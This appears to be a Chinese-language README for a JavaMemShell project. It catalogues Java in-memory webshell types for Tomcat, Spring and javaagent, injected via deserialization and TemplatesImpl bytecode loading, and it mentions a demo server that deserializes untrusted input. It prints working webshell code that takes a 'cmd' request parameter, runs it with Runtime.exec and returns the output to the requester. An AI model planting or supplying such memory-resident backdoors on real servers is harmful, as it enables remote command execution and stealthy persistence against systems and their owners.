The javamemshell's intro from threeworld

javamemshell's Introduction

JavaMemShell

记录总结Java内存马的类型和相关代码示例

项目说明

JavaMemShell

利用Java反序列化时TemplatesImpl类加载字节码实现的内存马示例

Server-Demo

Spring 5.2.3 和Tomcat8服务端的Demo，接受参数进行反序列化，

Java内存马类型

tomcat

Filter型
Servlet型
Listener型
TomcatValue型

spring

controller型
Interceptor型

javaagent

文件落地，持久化

核心代码

每种类型shell动态注册的执行逻辑在静态代码块中，由于反序列化需要，实现类需要继承AbstractTranslet

static {
        try{
            xxx
        }catch (Exception e){
            e.printStackTrace();
        }
    }

获取request和response，执行命令并进行回显的逻辑在 doFilter，requestDestroyed ，service等方法中，如有需要自行替换，示例：

public void service(ServletRequest servletRequest, ServletResponse servletResponse) 
                        throws ServletException, IOException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response =  (HttpServletResponse)servletResponse;

        String method = request.getMethod();
        if ("GET".equals(method)){
            String cmd = request.getParameter("cmd");
            if (cmd != null){
                Process process = Runtime.getRuntime().exec(cmd);
                Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");;
                String output = s.hasNext() ? s.next() : "";
                PrintWriter writer = response.getWriter();
                writer.write(output);
                writer.flush();
                writer.close();
            }
        }
    }